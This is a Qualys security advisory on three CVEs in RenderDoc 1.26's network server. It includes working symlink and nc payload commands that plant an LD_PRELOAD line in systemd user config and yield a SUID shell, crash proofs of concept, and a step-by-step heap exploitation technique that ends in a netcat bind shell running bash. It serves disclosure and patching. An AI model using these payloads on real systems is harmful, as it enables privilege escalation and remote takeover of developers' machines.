RenderDoc 1.26 Local Privilege Escalation / Remote Code Execution

Qualys Security AdvisoryLPE and RCE in RenderDoc: CVE-2023-33865, CVE-2023-33864, CVE-2023-33863========================================================================Contents========================================================================SummaryCVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc- Analysis- ExploitationCVE-2023-33864, an integer underflow to heap-based buffer overflow- Analysis- ExploitationCVE-2023-33863, an integer overflow to heap-based buffer overflow- AnalysisAcknowledgments========================================================================Summary========================================================================  "RenderDoc is a free MIT licensed stand-alone graphics debugger that  allows quick and easy single-frame capture and detailed introspection  of any application using Vulkan, D3D11, OpenGL & OpenGL ES or D3D12  across Windows, Linux, Android, or Nintendo Switch(TM)."  (https://renderdoc.org/)To capture a frame on Linux, RenderDoc LD_PRELOADs the shared librarylibrenderdoc.so into the application to be debugged, and this libraryimmediately starts a server thread that listens on TCP port 38920 (onall network interfaces) and waits for clients to connect. Unfortunately,we discovered three vulnerabilities in this server's implementation:- CVE-2023-33865, a symlink vulnerability that is exploitable by any  unprivileged local attacker to obtain the privileges of the user who  runs RenderDoc. The exact details of this symlink vulnerability made  it quite interesting and challenging to exploit.- CVE-2023-33864, an integer underflow that results in a heap-based  buffer overflow that is exploitable by any remote attacker to execute  arbitrary code on the machine that runs RenderDoc. The unusual malloc  exploitation technique that we used to exploit this vulnerability is  reliable, one-shot, and works despite all the latest glibc, ASLR, PIE,  NX, and stack-canary protections.- CVE-2023-33863, an integer overflow that results in a heap-based  buffer overflow and may be exploitable by a remote attacker to execute  arbitrary code on the machine that runs RenderDoc (but we have not  tried to exploit this vulnerability).All three vulnerabilities were fixed on May 19, 2023 by the followingcommits (i.e., RenderDoc <= v1.26 is vulnerable, but v1.27 is fixed):  https://github.com/baldurk/renderdoc/commit/601ed56111ce3803d8476d438ade1c92d6092856  https://github.com/baldurk/renderdoc/commit/e0464fea4f9a7f149c4ee1d84e5ac57839a4a862  https://github.com/baldurk/renderdoc/commit/1f72a09e3b4fd8ba45be4b0db4889444ef5179e2  https://github.com/baldurk/renderdoc/commit/203fc8382a79d53d2035613d9425d966b1d4958e  https://github.com/baldurk/renderdoc/commit/771aa8e769b72e6a36b31d6e2116db9952dcbe9bLast-minute note: RenderDoc also listens on TCP port 39920, but onlyallows connections from private IPs there (10.0.0.0/8, 172.16.0.0/12,192.168.0.0/16), and can be configured to further restrict this allow-list; on the other hand, RenderDoc allows anyone to connect to TCP port38920 (the port that we exploited), and cannot be configured to restrictwho can connect there.========================================================================CVE-2023-33865, a symlink vulnerability in /tmp/RenderDoc========================================================================------------------------------------------------------------------------Analysis------------------------------------------------------------------------As soon as librenderdoc.so is LD_PRELOADed into the application to bedebugged, its library_loaded() function:- creates the directory /tmp/RenderDoc, or reuses it if it already  exists, even if it does not belong to the user who runs RenderDoc  (Alice, in this advisory);- opens (and possibly creates) a log file of the form  /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log, and writes to it  in append mode:------------------------------------------------------------------------507       open(filename.c_str(), O_APPEND | O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);------------------------------------------------------------------------Consequently, a local attacker can create /tmp/RenderDoc before Aliceruns RenderDoc, and can populate this directory with numerous symlinks(of the form /tmp/RenderDoc/RenderDoc_app_YYYY.MM.DD_hh.mm.ss.log) thatpoint to an arbitrary file in the filesystem; when Alice runs RenderDoc,this file will be created (if it does not exist already) and written to,with Alice's privileges.The attacker can write arbitrary strings into this file (by sendingthese strings to RenderDoc on TCP port 38920), but unfortunately for theattacker, RenderDoc prepends each of these strings with a header that isnot controlled by the attacker (and if the attacker sends a string thatcontains \n characters, then RenderDoc splits this string into multiplelines and prepends each line with the uncontrolled header), and thisuncontrolled header makes it impossible for the attacker to achieveprivilege escalation via Alice's usual dotfiles (.profile, .bashrc,.ssh/authorized_keys, etc).In the following example, the attacker (the user "nobody") writesarbitrary shell commands into Alice's .bashrc file, but the uncontrolledheader that is prepended by RenderDoc causes a syntax error and preventsAlice's shell from executing the attacker's commands:------------------------------------------------------------------------nobody$ mkdir -m 0777 /tmp/RenderDocnobody$ cd /tmp/RenderDocnobody$ for ((i=0; i<600; i++)); doln -sf /home/alice/.bashrc "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";done------------------------------------------------------------------------alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600------------------------------------------------------------------------nobody$ s='$(id)'$';id;\nid\n#'nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"0000000enobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x0e\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920(UNKNOWN) [127.0.0.1] 38920 (?) open------------------------------------------------------------------------alice$ bashbash: /home/alice/.bashrc: line 114: syntax error near unexpected token `('bash: /home/alice/.bashrc: line 114: `RDOC 003906: [05:50:25]             core.cpp( 499) - Log     - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing application'alice$ cat /home/alice/.bashrc...RDOC 003906: [05:50:25]             core.cpp( 499) - Log     - RenderDoc v1.26 Linux 64-bit Release (4524cddca999d52aff790b626f92bb21ae9fe41f) capturing applicationRDOC 003906: [05:50:25]         settings.cpp( 460) - Log     - Loading config from /home/alice/.renderdoc/renderdoc.confRDOC 003906: [05:50:25]   posix_libentry.cpp(  73) - Log     - Loading into /usr/bin/sleepRDOC 003906: [05:50:25]         gl_hooks.cpp( 280) - Log     - Registering OpenGL hooksRDOC 003906: [05:50:25]        glx_hooks.cpp( 811) - Log     - Registering GLX hooksRDOC 003906: [05:50:25]        egl_hooks.cpp(1073) - Log     - Registering EGL hooksRDOC 003906: [05:50:25]         vk_layer.cpp(  99) - Log     - Registering Vulkan hooksRDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - Invalid/Unsupported handshake '$(id);id;RDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - idRDOC 003906: [05:56:03]   target_control.cpp( 489) - Log     - #' / 1------------------------------------------------------------------------------------------------------------------------------------------------Exploitation------------------------------------------------------------------------We spent a long time on this uncontrolled-header problem, and eventuallyfound the following two-step solution:1/ We transform RenderDoc's symlink vulnerability into an arbitrarydirectory creation, by writing to the file .config/user-dirs.defaults inAlice's home directory: we write SYSTEMD=.config/systemd into this file,and the next time Alice logs in, xdg-user-dirs-update will automaticallycreate the directory .config/systemd in Alice's home directory.But how did we solve the uncontrolled-header problem?xdg-user-dirs-update calls fgets() to read lines of at most 512 bytesfrom .config/user-dirs.defaults, so if we write a string longer than 512bytes into this file, then one fgets() will return a line that ends inthe middle of our long string, and the next fgets() will return a linethat starts in the middle of our long string: i.e., a line that startswith our own data, not with RenderDoc's uncontrolled header.2/ We transform RenderDoc's symlink vulnerability into an arbitrary codeexecution, by writing to the file .config/systemd/user.conf in Alice'shome directory (we already created the directory .config/systemd in 1/):we write DefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so into this file,and the next time Alice logs in, systemd will execute our shared library/var/tmp/shell.so with Alice's privileges.But how did we solve the uncontrolled-header problem this time? systemdcalls read_line_full() to read lines from .config/systemd/user.conf, andthis function "Considers EOF, \n, \r and \0 end of line delimiters", sowe simply use \r as a line delimiter to avoid the uncontrolled-headerproblem (indeed, RenderDoc only adds an uncontrolled header after \n,not after \r).------------------------------------------------------------------------nobody$ mkdir -m 0777 /tmp/RenderDocnobody$ cd /tmp/RenderDocnobody$ for ((i=0; i<600; i++)); doln -sf /home/alice/.config/user-dirs.defaults "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";done------------------------------------------------------------------------alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600------------------------------------------------------------------------nobody$ s="$(printf '_% 512s SYSTEMD=.config/systemd\n#' ' ')"nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"0000021bnobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x1b\x02\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920(UNKNOWN) [127.0.0.1] 38920 (?) open------------------------------------------------------------------------The next time Alice logs in, the directory .config/systemd will becreated in Alice's home directory; then:------------------------------------------------------------------------nobody$ mkdir -m 0777 /tmp/RenderDocnobody$ cd /tmp/RenderDocnobody$ for ((i=0; i<600; i++)); doln -sf /home/alice/.config/systemd/user.conf "$(date -d "now + $i seconds" +'RenderDoc_app_%Y.%m.%d_%H.%M.%S.log')";done------------------------------------------------------------------------alice$ LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600------------------------------------------------------------------------nobody$ s=$'_\r[Manager]\rDefaultEnvironment=LD_PRELOAD=/var/tmp/shell.so\r#'nobody$ printf '%08x\n' "$(printf '%s' "$s" | wc -c)"0000003dnobody$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x3d\x00\x00\x00%s\0\0\0\0%064x' "$s" 1 | nc -nv 127.0.0.1 38920(UNKNOWN) [127.0.0.1] 38920 (?) open------------------------------------------------------------------------The next time Alice logs in, our shared library /var/tmp/shell.so willbe executed with Alice's privileges and will create a SUID shell in/var/tmp; then:------------------------------------------------------------------------nobody$ /var/tmp/shell -p$ iduid=65534(nobody) gid=65534(nogroup) euid=1000(alice) groups=65534(nogroup)                                     ^^^^^^^^^^^^^^^^------------------------------------------------------------------------========================================================================CVE-2023-33864, an integer underflow to heap-based buffer overflow========================================================================------------------------------------------------------------------------Analysis------------------------------------------------------------------------When a client connects to librenderdoc.so's server thread on TCP port38920, it must first send a handshake packet that contains a string, its"client name"; to read this string, the server:- malloc()ates an intermediary buffer of 64KB (at line 97), and reads  the beginning of the client's handshake packet into this buffer:------------------------------------------------------------------------ 42 static const uint64_t initialBufferSize = 64 * 1024; .. 92 StreamReader::StreamReader(Network::Socket *sock, Ownership own) 93 { 94   m_Sock = sock; 95  96   m_BufferSize = initialBufferSize; 97   m_BufferBase = AllocAlignedBuffer(m_BufferSize); 98   m_BufferHead = m_BufferBase; 99 100   // for sockets we use m_InputSize to indicate how much data has been read into the buffer.101   m_InputSize = 0;------------------------------------------------------------------------- reads len, the length of the client-name string, from this  intermediary buffer (at line 1313), and malloc()ates a string buffer  of len bytes (at line 1314):------------------------------------------------------------------------1307   void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)1308   {1309     uint32_t len = 0;1310 1311     if(IsReading())1312     {1313       m_Read->Read(len);1314       el.resize((int)len);1315       if(len > 0)1316         m_Read->Read(&el[0], len);------------------------------------------------------------------------- reads the client name directly into this string buffer (at line 185)  if it is longer than 10MB (otherwise the server first reads the client  name into the intermediary buffer, and then memcpy()s it into the  string buffer):------------------------------------------------------------------------139   bool Read(void *data, uint64_t numBytes)140   {...183         if(numBytes >= 10 * 1024 * 1024 && Available() + 128 < numBytes)184         {185           success = ReadLargeBuffer(data, numBytes);------------------------------------------------------------------------More precisely, ReadLargeBuffer() reads all but the last 128 bytes ofthe client name directly into the string buffer (at line 304), and readsthe last 128 bytes into the intermediary buffer (at line 354) and thenmemcpy()s them into the string buffer (at line 358):------------------------------------------------------------------------271 bool StreamReader::ReadLargeBuffer(void *buffer, uint64_t length)272 {...275   byte *dest = (byte *)buffer;...297     uint64_t directReadLength = length - 128;...304       bool ret = ReadFromExternal(dest, directReadLength);305 306       dest += directReadLength;...350   m_BufferHead = m_BufferBase + m_BufferSize;...354   bool ret = ReadFromExternal(m_BufferHead - 128, 128);...357   if(dest && ret)358     memcpy(dest, m_BufferHead - 128, 128);------------------------------------------------------------------------Unfortunately, ReadFromExternal() mistakenly believes that m_InputSize(the total number of bytes read) can never exceed m_BufferSize (the sizeof the intermediary buffer), but in ReadLargeBuffer()'s case m_InputSizebecomes larger than 10MB and m_BufferSize is 64KB, so the calculation ofbufSize underflows (at line 408) and the size that is passed to recv()is much larger than the size of the destination buffer (at line 411):------------------------------------------------------------------------366 bool StreamReader::ReadFromExternal(void *buffer, uint64_t length)367 {...399       byte *readDest = (byte *)buffer;400 401       success = m_Sock->RecvDataBlocking(readDest, (uint32_t)length);402 403       if(success)404       {405         m_InputSize += length;406         readDest += length;407 408         uint32_t bufSize = uint32_t(m_BufferSize - m_InputSize);...411         success = m_Sock->RecvDataNonBlocking(readDest, bufSize);------------------------------------------------------------------------Consequently, a remote attacker can overflow either the string buffer(at line 304) or the intermediary buffer (at line 354). In the followingsection, we explain how we transformed the overflow of the intermediarybuffer into a reliable, one-shot remote code execution, despite all thelatest glibc, malloc, ASLR, PIE, NX, and stack-canary protections.Proof of concept (string-buffer overflow):------------------------------------------------------------------------alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600------------------------------------------------------------------------remote$ printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x%04096x' 1 1 | nc -nv 192.168.56.126 38920Ncat: 10489872 bytes sent, 0 bytes received in 0.12 seconds.------------------------------------------------------------------------alice$ cat strace.out...2638  recvfrom(5, "00000000000000000000000000000000"..., 4284547056, 0, NULL, NULL) = 4096...2638  recvfrom(5, "", 128, 0, NULL, NULL) = 0...2638  writev(2, [{iov_base="Fatal glibc error: malloc assert"..., iov_len=47}, {iov_base="__libc_malloc", iov_len=13}, {iov_base=": ", iov_len=2}, {iov_base="!victim || chunk_is_mmapped (mem"..., iov_len=98}, {iov_base="\n", iov_len=1}], 5) = 161...2638  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2637, si_uid=1000} ---2637  <... clock_nanosleep resumed> <unfinished ...>) = ?2638  +++ killed by SIGABRT +++2637  +++ killed by SIGABRT +++------------------------------------------------------------------------Proof of concept (intermediary-buffer overflow):------------------------------------------------------------------------alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600------------------------------------------------------------------------remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\x80\x00\xa0\x00%010485760x' 1; sleep 3; printf '%0128x%04096x' 1 1) | nc -nv 192.168.56.126 38920Ncat: 10490000 bytes sent, 0 bytes received in 3.11 seconds.------------------------------------------------------------------------alice$ cat strace.out...2696  recvfrom(5, 0x7f725a9ff010, 4284547056, 0, NULL, NULL) = -1 EAGAIN (Resource temporarily unavailable)...2696  recvfrom(5, "00000000000000000000000000000000"..., 128, 0, NULL, NULL) = 128...2696  recvfrom(5, "00000000000000000000000000000000"..., 4284546928, 0, NULL, NULL) = 4096...2696  writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29...2696  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2695, si_uid=1000} ---2695  <... clock_nanosleep resumed> <unfinished ...>) = ?2696  +++ killed by SIGABRT +++2695  +++ killed by SIGABRT +++------------------------------------------------------------------------------------------------------------------------------------------------Exploitation------------------------------------------------------------------------1/ When librenderdoc.so's server thread is created, the glibc's mallocallocates a new "heap" for this thread: 64MB of mmap()ed memory, whosestart address is aligned on a multiple of 64MB. Initially, this heap ismmap()ed PROT_NONE, and is mprotect()ed read-write as needed by malloc:    0                                       64M----V----------------------------------------V--------------|-------------    |          server thread's heap          |  random gap  |  libraries----|----------------------------------------|--------------|-------------Note: the gap of unmapped memory between the heap and the libraries israndom (and smaller than 64MB), because the heap is aligned on 64MB butthe libraries are randomly aligned on 4KB (or sometimes 2MB) by ASLR.2/ We (remote attackers) establish 7 successive connections to theserver on TCP port 38920: for each one of these connections, the servercreates a new thread (a "client thread"), allocates a new thread stack(8MB+4KB of mmap()ed memory, for the stack and its guard page), and thenmemory-leaks this stack (because the server does not call pthread_join()when the client thread terminates abnormally, which prevents its stackfrom being freed or reused for another client thread).The goal of this step 2/ is simply to fill the random gap between theheap and the libraries (with the help of a memory leak), to prevent anyfuture thread stack from being allocated into this gap. The reason fordoing this will become clear in step 7/.3/ We connect to the server on TCP port 38920, send a handshake packetthat contains a 16MB client-name string (it must be longer than 10MB totrigger CVE-2023-33864), and obtain the following layout for theserver's heap:  0                           14M  16M      20M              28M      32M--V-+-+-+-+--------------------V----V--------V----------------V--------V--  |F|I|L|C|               ....--|-+-+-+-+---------------------------------------------------------------- F are fixed chunks of memory (at the very beginning of the heap) that  were not allocated by us but whose sizes are known to us;- I is the 64KB intermediary buffer mentioned in the previous section;- L is a small chunk that was memory-leaked (or free()d but stored in an  otherwise unused tcache) and whose size is exactly controlled by us;- C is a small chunk (a "callstack" from our handshake packet) whose  exact size and contents do not matter much.4/ We overflow the intermediary buffer I (thanks to CVE-2023-33864),overwrite L's malloc_chunk header with an unchanged size field, andoverwrite C's malloc_chunk header with arbitrary prev_size and sizefields.5/ The server free()s the intermediary buffer I. This free() succeedsdespite our buffer overflow because we overwrote the malloc_chunk headerof I's next chunk (L) with an unchanged size; without L between I and C,free()'s security checks would detect that we overwrote C's malloc_chunkheader with arbitrary sizes and would abort().6/ The server free()s the small chunk C. Because we overwrote C'smalloc_chunk header with a size field whose IS_MMAPPED bit is set,free() calls its internal function munmap_chunk():------------------------------------------------------------------------3018 static void3019 munmap_chunk (mchunkptr p)3020 {3021   size_t pagesize = GLRO (dl_pagesize);3022   INTERNAL_SIZE_T size = chunksize (p);....3026   uintptr_t mem = (uintptr_t) chunk2mem (p);3027   uintptr_t block = (uintptr_t) p - prev_size (p);3028   size_t total_size = prev_size (p) + size;....3034   if (__glibc_unlikely ((block | total_size) & (pagesize - 1)) != 03035       || __glibc_unlikely (!powerof2 (mem & (pagesize - 1))))3036     malloc_printerr ("munmap_chunk(): invalid pointer");....3044   __munmap ((char *) block, total_size);3045 }------------------------------------------------------------------------- we fully control prev_size and size (because p is a pointer to C's  malloc_chunk header, which we overwrote), so we can munmap() an  arbitrary block of memory (at line 3044), relative to p (i.e.,  relative to C, and without knowing the ASLR);- we can easily satisfy the preconditions at lines 3034 and 3035,  because we fully control prev_size and size, and because we know the  sizes of F and I, and we precisely control the size of L.We exploit this arbitrary munmap() to punch a hole of exactly 8MB+4KB(the size of a thread stack and its guard page) in the middle of theserver's heap:  0                           14M  16M      20M              28M      32M--V-+-+-+-+--------------------V----V--------V----------------V--------V--  |F|I|L|C|               ....               |  punched hole  |--|-+-+-+-+----------------------------------+----------------+-----------Note: we cannot reuse the technique that we developed to exploitCVE-2005-1513 (in qmail) here, because of the random gap between theserver's heap and the libraries (and our exploit here must be one-shot);for reference:  https://www.qualys.com/2020/05/19/cve-2005-1513/remote-code-execution-qmail.txt  https://maxwelldulin.com/BlogPost/House-of-Muney-Heap-Exploitation  https://www.ambionics.io/blog/hacking-watchguard-firewalls7/ We connect to the server on TCP port 38920; the server creates a newclient thread, and allocates a new stack for this thread, exactly intothe hole that we punched in the server's heap (since step 2/ such astack cannot be allocated anymore into the random gap between theserver's heap and the libraries):  0                           14M  16M      20M              28M      32M--V-+-+-+-+--------------------V----V--------V----------------V--------V--  |F|I|L|C|               ....               |  client stack  |--|-+-+-+-+----------------------------------+----------------+-----------We then disconnect from the server; the client thread terminates cleanlyand the server pthread_join()s with it, thus making its stack availablefor a future client thread.8/ We establish a long-lived connection to the server, and send a 14MBclient-name string (but we do not trigger CVE-2023-33864 this time); theserver reads our client name into a malloc()ated string buffer that endsin the middle of the unused client stack (i.e., this client name and theclient stack overlap in the server's heap):  0                           14M  16M      20M              28M      32M--V-+-+-+-+--------------------V----V--------V----------------V--------V--  |F|I|L|C|        ....        |             |  client stack  |--|-+-+-+-+--------------------+-------------+-------------+--+-----------                               |---------------------------|                                        client nameNote: although the client stack's guard page is initially mmap()edPROT_NONE, it is conveniently mprotect()ed read-write by the glibc'smalloc when extending the server's heap for our 14MB client name (ingrow_heap())!The server then creates a new client thread for our long-livedconnection, and reuses the existing client stack for this thread, thusoverwriting the end of our client name with data from the client stack.9/ We establish another connection to the server; however, because ourfirst connection is still alive, the server disconnects us, but firstgives us the name of the client that is already connected (i.e., theserver sends us back our 14MB client name, which was partly overwrittenby data from the client stack), thus information-leaking all sorts ofstack contents to us: heap addresses, library addresses, stackaddresses, the stack canary, etc.10/ While our first connection to the server is still alive, weestablish another connection and start sending a 9MB string; the serverreads this string into a malloc()ated buffer that starts in the middleof the client stack (immediately after the 14MB client name), thusoverwriting the client stack with data that we fully control (a ROPchain):  0                           14M  16M      20M              28M      32M--V-+-+-+-+--------------------V----V--------V----------------V--------V--  |F|I|L|C|        ....        |             |  client stack  |--|-+-+-+-+--------------------+-------------+-------------+--+-----------                               |---------------------------|--->                                        client name         ROPAs soon as the client thread returns to a saved instruction pointer(RIP) from the overwritten part of the client stack, our ROP chain isexecuted: first a "ROP sled" (a series of minimal "ret" gadgets, becausewe do not know the exact distance between the start of our ROP chain andthe first overwritten saved RIP in the client stack), followed by asimple execve() of "/bin/nc -lp1337 -e/bin/bash".Note: we build our ROP chain with gadgets from librenderdoc.so only(whose address was information-leaked to us in step 9/), to avoid anydependence on the application being debugged or its shared libraries.To summarize this reliable, one-shot technique that we used to exploitthe heap-based buffer overflow in librenderdoc.so's multi-threaded TCPserver:- we overwrite the malloc_chunk header of a heap-based buffer (which  will be free()d) with an arbitrary size field whose IS_MMAPPED bit is  set, and therefore transform this buffer overflow into an arbitrary  munmap() call (thanks to free()'s munmap_chunk() function);- with this arbitrary munmap() call, we punch a hole of exactly 8MB+4KB  (the size of a thread stack) in the middle of the server's heap;- we arrange for a thread stack to be mmap()ed into this hole, and for a  string (which will later be sent to us by the server) to be  malloc()ated over the lower part of this thread stack;- when this string is sent to us by the server, parts of it were  overwritten by data from the thread stack, thus information-leaking  all sorts of stack contents to us (heap addresses, library addresses,  stack addresses, the stack canary, etc);- finally, we arrange for another string (which we fully control) to be  malloc()ated over the higher part of the thread stack, and therefore  overwrite a saved instruction pointer (in the thread stack) with a ROP  chain of gadgets from librenderdoc.so (whose address was previously  information-leaked to us) -- a classic "stack smashing" attack.Note: further possibilities for munmap_chunk() exploitation are exploredin http://tukan.farm/2016/07/27/munmap-madness/.========================================================================CVE-2023-33863, an integer overflow to heap-based buffer overflow========================================================================------------------------------------------------------------------------Analysis------------------------------------------------------------------------If a client connects to librenderdoc.so's server on TCP port 38920 andwants to send a long string of exactly 0xffffffff bytes (UINT32_MAX),then the server casts this uint32_t len to a signed int (at line 1314),and because resize()'s argument is a size_t (a 64-bit integer on amd64),this 0xffffffff int is sign-extended to a 0xffffffffffffffff size_t(SIZE_MAX) inside resize():------------------------------------------------------------------------1307   void SerialiseValue(SDBasic type, size_t byteSize, rdcstr &el)1308   {1309     uint32_t len = 0;1310 1311     if(IsReading())1312     {1313       m_Read->Read(len);1314       el.resize((int)len);1315       if(len > 0)1316         m_Read->Read(&el[0], len);------------------------------------------------------------------------resize() calls reserve() to malloc()ate a buffer for this long string(at line 508), and reserve() adds 1 to the size of this string (for anull-terminator) and therefore integer-overflows the SIZE_MAX size ofthis string to 0 and malloc()ates a minimum-sized buffer (at line 437)that is much too small for the client's long string:------------------------------------------------------------------------ 484   void resize(const size_t s) 485   { ... 508     reserve(s);------------------------------------------------------------------------ 411   void reserve(size_t s) 412   { ... 437     char *new_str = allocate(s + 1);------------------------------------------------------------------------As a result, the client can overflow this heap-based buffer with up toUINT32_MAX bytes. Proof of concept:------------------------------------------------------------------------alice$ strace -f -o strace.out -E LD_PRELOAD=/usr/lib/librenderdoc.so sleep 600------------------------------------------------------------------------remote$ (printf '\2\0\0\0\0\0\0\0\1\0\0\0\xff\xff\xff\xff'; sleep 3; printf '%04096x' 1) | nc -nv 192.168.56.126 38920Ncat: 4112 bytes sent, 0 bytes received in 3.00 seconds.------------------------------------------------------------------------alice$ cat strace.out...2848  recvfrom(5, "00000000000000000000000000000000"..., 4294967167, 0, NULL, NULL) = 40962848  recvfrom(5, "", 4294963071, 0, NULL, NULL) = 0...2848  writev(2, [{iov_base="malloc(): corrupted top size", iov_len=28}, {iov_base="\n", iov_len=1}], 2) = 29...2848  --- SIGABRT {si_signo=SIGABRT, si_code=SI_TKILL, si_pid=2847, si_uid=1000} ---2847  <... clock_nanosleep resumed> <unfinished ...>) = ?2848  +++ killed by SIGABRT +++2847  +++ killed by SIGABRT +++------------------------------------------------------------------------Note: we have not tried to exploit this vulnerability.========================================================================Acknowledgments========================================================================We thank Baldur Karlsson, RenderDoc's creator and developer, for thisinvaluable open-source tool and for fixing these bugs just a few hoursafter we reported them. We also thank Mitre's CVE Assignment Team.